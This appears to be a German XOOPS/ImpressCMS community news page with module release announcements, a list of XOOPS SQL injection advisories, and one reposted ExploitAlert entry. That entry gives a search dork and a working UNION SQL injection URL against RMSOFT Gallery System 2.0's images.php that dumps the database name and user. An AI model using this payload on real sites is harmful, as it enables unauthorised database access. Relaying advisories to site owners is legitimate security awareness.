Mit diesem Modul können die Besucher einer Website nach Mitglieder suchen. Hierbei kann nach verschiedenen Kriterien gesucht werden.
Über die Gruppenberechtigung im System-Modul legt der Admin fest, wer das Modul und demzufolge auch die Suche benutzen darf.

Außer einem Hilfstext bedarf es keine weiteren Einstellungen in der Administartion. Jedoch können die Templates gegebenenfalls noch angepasst werden.
Sollte zum Beispiel das Suchergebnis zu breit sein, weil es so viele Spalten darstellt werden, kann es über das Template angepasst werden.

Das Modul fügt sich automatisch in das Hauptmenü hinzu. Falls das Hauptmenü deaktiviert wurde und ein separates Menü erstellt wurde,
kann der Menüpunkt zum Modul manuell hinzugefügt werden.

Das Modul wurde getestet mit ImpressCMS 1.0 und Xoops 2.0.1x (Das Modul ist PHP5 fit.)

Download hier.

members v2.01

1 XOOPS Tiny Event ‘print’ Option SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-21 00:00:00 MST
URL: http://www.securityfocus.com/bid/27931

2 XOOPS ‘prayerlist’ Module ‘cid’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-21 00:00:00 MST
URL: http://www.securityfocus.com/bid/27934

3 XOOPS eEmpregos Module ‘index.php’ SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-20 00:00:00 MST
URL: http://www.securityfocus.com/bid/27905

4 XOOPS ‘classifieds’ Module ‘cid’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-19 00:00:00 MST
URL: http://www.securityfocus.com/bid/27895

5 XOOPS ‘vacatures’ Module ‘cid’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-19 00:00:00 MST
URL: http://www.securityfocus.com/bid/27889

6 XOOPS ‘badliege’ Module ‘id’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-19 00:00:00 MST
URL: http://www.securityfocus.com/bid/27892

7 XOOPS ‘events’ Module ‘id’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-19 00:00:00 MST
URL: http://www.securityfocus.com/bid/27890

8 XOOPS ’seminars’ Module ‘id’ Parameter SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-19 00:00:00 MST
URL: http://www.securityfocus.com/bid/27891

9 XOOPS myTopics Module ‘print.php’ SQL Injection Vulnerability (Vulnerabilities)

Last modified on: 2008-02-18 00:00:00 MST
URL: http://www.securityfocus.com/bid/27861

Es ist geschafft. Das Modul OpenID wurde in der Version 0.2 veröffentlicht. Es wurde hierzu  die PHP Library ‘php-openid-2.0.0′ benutzt. Das Modul steht unter der GPL und kann auf der Autorenwebseite geladen werden. Die Installation ist nicht für Einsteiger geeignet, wenn man aber Zeit und Motivation mit bringt, dann geht es schon:

INSTALLATION:
- Datei entpacken
- vorgesehene Daten in das Modulverzeichnis und TRUST_PATH kopieren
- das Verzeichnis ‘_php_consumer’ benötigt Schreibrechte (chmod777)
- jetzt das Modul normal installieren
(Xoopscube, nicht vergessen die Blöcke zu installieren)
- Gäste benötigen Zugriff auf das Modul (Gruppenberechtigung)

Download + Test: http://www.sakimura.org

Eine neue Version des Modules “social-bookmarks” wurde fertig gestellt. Das Modul wurde erfolgreich auf allen Systemen getestet: ImpressCMS, Simple-Xoops, Xoops und Xoops-Cube! Eine Hilfe zum Modul befindet sich direkt im Modul (zu sehen nach der Installation)!
Hier wurde ein neues, wichtiges Feature hinzugefügt, die einzelnen Bookmarks können nun über die Moduleinstellungen auf aktiv oder inaktiv gesetzt werden.

Changelog
- automatische Versionsanzeige im Modul-Backend (sato-san)
- Block-Template geändert, damit der Webmaster das Design bestimmen kann (sato-san)
- index-Template entfernt, wurde nicht genutzt (sato-san)
- Optionen für Einstellungen (Muki)
- Optionen fertig gestellt (Alfred)
- URL für Icons angepasst (Alfred)
- Mr.Wong Icon wurde angepasst, da neues Logo (sato-san)
- URL für die Hilfe-Bilder im Backend angepasst (sato-san)
- unbenutzte Dateien aufgeräumt (sato-san)

Download
Das neue Modul “social-bookmarks 0.3″ kann über Sourceforge.net geladen werden.

Danke
Mein besonderen Dank möchte ich hier auch an Alfred und Muki aussprechen, ohne die beiden wäre es nicht zu diesem Modul gekommen!

Details : ExploitAlert

Topic : RMSOFT Gallery System 2.0 (images.php id) SQL Injection Vulnerability   ExploitAlert : 3336   Credit : you_kn0w   Date : 5.2.2008   Download   Exploit Code : #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=–=-=-=# # ~Author: you_kn0w # # ~Contact: you-know[at]linuxmail.org # # ~Website: www.youknowz.info # # ~Script: RRMSOFT Gallery # # ~Bug: RRMSOFT Gallery Remote SQL Injection # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# # Script Information # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# # # # Script name: RRMSOFT Gallery System # # Script site: http://www.xoopsmexico.net # # Script get: www.xoopsmexico.net/modules/rmdp# # Description: PHP media gallery System # # Version: 2.0 # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# # [-]Dorks: intext:Powered by RMSOFT GS 2.0 inurl:modules/rmgs/images.php # [+]How To Exploit: http://[target].com/[path]/modules/rmgs/images.php?q=user&id =1999/**/union/**/all/**/select/**/1,1,concat(database(),0×202D20 ,user()),1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0/ * # [+]Greetz: Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo //you_kn0w #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

Quelle:http://securityreason.com/exploitalert/3336

Xigg (version 0.1.9a2) - ein Digg.com Klone, für Deine Webseite! Binde die User in Deiner Webseite ein und nutze die neuen Funktionen. Jeder User Deiner Webseite kann für die Artikel bei Gefallen eine Stimme abgeben (Xigg it). Zu jedem Artikel können natürlich auch Kommentare geschrieben werden. Da das Modul über viele Erweiterungen (Plugin) verfügt, kann das Modul noch aufgepeppt werden.

Für die Artikel können viele Kategorien und Unterkategorien erstellt werden. Außerdem können zu jedem Artikel sogenannte Tags hinzugefügt werden. Diese Tags können in einem Block als ein Wortwolke dargestellt werden. Das Modul hat im gesamten 7 Blöck zur Darstellung.
Plugins:
- Prototype (für Ajax-Funktionen)
- ExternalLink (kl. Icon für externe Links)
- LinkBubbler (Popup für Webseitenscreenshots)
- verschiedene Editoren (BB-Code, TinyMCE, Text Wiki, HTML)
- Akismet (Anti-Samp)
- Services_Trackback
- Google Blog Search Ping

Das Modul funktioniert mit XOOPS, XOOPS Cube, ImpressCMS und simple-xoops!!

Einen kleinen Nachteile hat das Modul noch: Der TinyMCE und Prototype dürfen nicht zusammen aktiviert werden, hier gibt es noch einen Bug. Der Entwickler ist informiert und wird den Fehler beheben.

Jetzt das Modul Downloaden!

Es wurde eine Sicherheitslücke gefunden in dem XOOPS Modul: Flashgames

Aber der Entwickler hat sofort reagiert und diese Lücke geschlossen. Er empfiehlt jeden zum Update der Datei “game.php”. Das Update erhält jeder unter der Webseite tipsmitgrips.de. Die Vollversion des Modules beinhaltet auch den Patch, jedoch wurde die Versionsnummer nicht geändert. Das neue und alte Version bleibt bei “1.0.1″.

LifeType ist eine Open-Source Plattform mit Unterstützung für MultiUser Blogs und einzel Installation. Die Community von XOOPS China gibt bekannt : es wurde soeben das Muti-User-Blog von LifeType in der Version 1.0.1RC für XOOPS veröffentlicht. Das Modul nutzt ebenso die Smarty-Technologie, jeder User kann seine eigene Theme wählen, es hat einen guten Cache-Mechanismus, es unterstützt das URL rewriting (SEO-Url).

LifeType Weblink , LifeType Modul for XOOPS

StarterModulesPack v2.02 with XOOPS 2.0.17.1

hier kommt das fetteste Update aller Zeiten. Für alle die schon lange nach einem aktuellen und vollständigen XOOPS ModulesPack gesucht haben. Zusätzlich sind noch einige Leckerbissen dabei:

Features:

Komplettes XOOPS 2.0.17.1 in deutscher und in englischer Sprache. Mit vielen Themes die direkt benutzt werden können. Hier ist schon das aktuelle Framework 1.22 dabei. Selbstverständlich sind die xoopseditoren in der neuesten Version 1.21 schon mit eingebaut. Hier wartet schon das neueste Feature. Im erweiterten DHTML-Editor ist jetzt ein Link dabei für YouTube-Videos! Dieser Editor kann z.B. im mitgelieferten Forum prima genutzt werden. Das Forum (CBB 3.08) ist so angepasst, das es gleich mit dem neuen Umfrage-Modul läuft. Das heißt, es ist also auch das topaktuelle Umfrage-Modul 1.0.4 mit inklusive. Als weiteren Höhepunkt bieten wir das News-Modul (in der Version 1.55) an, hier können so genannte TAG-Clouds eingegeben werden. Diese Tags werden wiederum durch das beiliegende Modul (Tag 1.60) durch ein Block dargestellt!!! Und für alle die sich für das Social-Network Modul interessieren … ja, auch das ist mit dabei. Das Gesamtpaket betrgägt als ZIP-Datei ca. 11,9 MB und kann hier über Sourceforge.net geladen werden.

NEU: Modul - social bookmarks

Das Modul ist ganz leicht zu installieren und hat eine Dokumentation / Hilfe direkt im Modul. Nach der Installation muss nur der Block an die richtige Stelle plaziert werden und schon werden die “Social-Bookmarks” direkt angezeigt. Das Modul wurde für die Suche ausgeschlossen, da es nichts zum suchen gibt. Außerdem wurde das Modul für das Hauptmenü ausgeschlossen, da es nicht benötigt wird. Der Quellcode wird bald über Sourceforge veröffentlicht. Alles über das Modul sowie Rückmeldungen, Wünsche und News bitte hier in das Forum schreiben. DOWNLOAD